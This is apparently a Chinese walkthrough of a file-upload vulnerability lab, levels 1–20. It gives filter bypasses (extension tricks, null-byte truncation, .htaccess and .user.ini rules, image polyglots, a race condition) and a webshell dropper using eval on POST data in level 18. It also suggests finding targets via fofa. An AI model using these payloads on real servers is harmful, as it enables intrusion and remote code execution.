第一关
步骤一，打开第一关先点击浏览上传一个jpg格式的图片
步骤二，打开BP修改jpg为php然后放包
步骤三，右键打开图像
成功解析
步骤四，打开蚁剑
第一关还是蛮简单的
第二关
步骤一，打开第二关先点击浏览上传一个jpg格式的图片
步骤二，打开BP修改jpg为php然后放包
步骤三，右键打开图像
步骤四，打开蚁剑
一二关步骤一样...
第三关
步骤一，我们尝试看看能不能上传1.php
我们获得提示：不允许上传.asp,.aspx,.php,.jsp后缀文件！
步骤二，我们尝试改一下文件名称后面加个数字1.php5
步骤三，右键打开图像
成功解析
第四关
环境不行得需要在fofa找一个靶场
编写.htaccess文件，内容解释:将1.jpg文件解析成php文件
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
步骤一，上传.htaccess文件
步骤二，在上传一个1.jpg
步骤三，右键打开图像
成功解析
第五关
文件包含操作
auto_prepend_file ="x.jpg"表示加载第一个PHP代码之前执行指示(包含的)文件
步骤一，上传.htaccess文件.user.ini文件内容
步骤二，在上传一个1.jpg
步骤三，访问readme.php文件
第六关
步骤一，使用大小写绕过
步骤二，右键打开图像
成功解析
第七关
步骤一，打开BP1.php后面加个空格
步骤二，右键打开图像
成功解析
第八关
步骤一，打开BP在文件名称后面加个'.'
步骤二，右键打开图像
成功解析
第九关
步骤一，打开BP在文件名称后面加个'::$DATA'
步骤二，右键打开图像
成功解析
第十关
步骤一，打开BPphp后面加上'. .'
步骤二，右键打开图像
成功解析
第十一关
双写后缀名绕过
步骤一，点击浏览上传php文件
步骤二，右键打开图像
成功解析
第十二关
步骤一，打开BP
在第一行添加xxx.php%00
把php改为jpg
步骤二，右键打开图像
删掉php后面的东西
成功解析
第十三关
这段代码同样是⽩名单限制后缀名，$_POST['save_path']是接收客户端提交的值，客户端可任意修改。所以会产⽣安全漏洞；
POST 下直接注⼊%00 是不⾏的，需要把%00 解码变成空⽩符，截断才有效。才能把⽬录截断成⽂件名；
步骤一，打开BP
添加xxx.php （空格）
把php改为jpg
将%00的hex码更改为00，然后上传
步骤二，右键打开图像
删掉php后面的东西
成功解析
第十四关
⽂件头代表了⽂件是那种类型，我们上传的⽂件内容如果是只有php代码，那么程序在对我们的⽂件头部进⾏检查时，如果发现没有允许上传⽂件类型的⽂件头，就会对我们上传⽂件进⾏拦截。
步骤一，制作图⽚⼀句话，使⽤copy a.jpg/b+1.php/a shell.jpg将 php ⽂件附加在 jpg 图⽚上，直接上传即可；
/b代表以⼆进制编码打开⽂件，/a代表以ASCII码编码打开⽂件
步骤二，上传shell.jpg，图片右键新建标签页打开图片，打开文件包含漏洞,用file读取图片地址
第十五关
步骤一，上传shell.jpg，图片右键新建标签页打开图片，打开文件包含漏洞,用file读取图片地址
第十六关
环境不支持
第十七关
步骤一：我们找到php ⽬录 执⾏ php 1.php 就会给我们⽣成⼀个1.png⽂件
步骤二，图片需要二次渲染，上传图片，图片右键新建标签页打开图片，打开文件包含漏洞,用file读取图片地址
步骤三，复制地址去蚁剑连接
第十八关
步骤一，php文件输入<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
步骤二，上传文件，burp抓包，发送到 intruder 模块，设置⽆限发送空的payloads，无限重复；
步骤三，访问1.php抓包，发送到 intruder 模块，设置⽆限发送空的payloads，无限重复；
步骤四，同时攻击，直到出现webshell.php
步骤五，使用蚁剑连接
第二十关
步骤一，上传php文件，保存名称改为1.php/.
步骤二，图片右键新建标签页打开图片
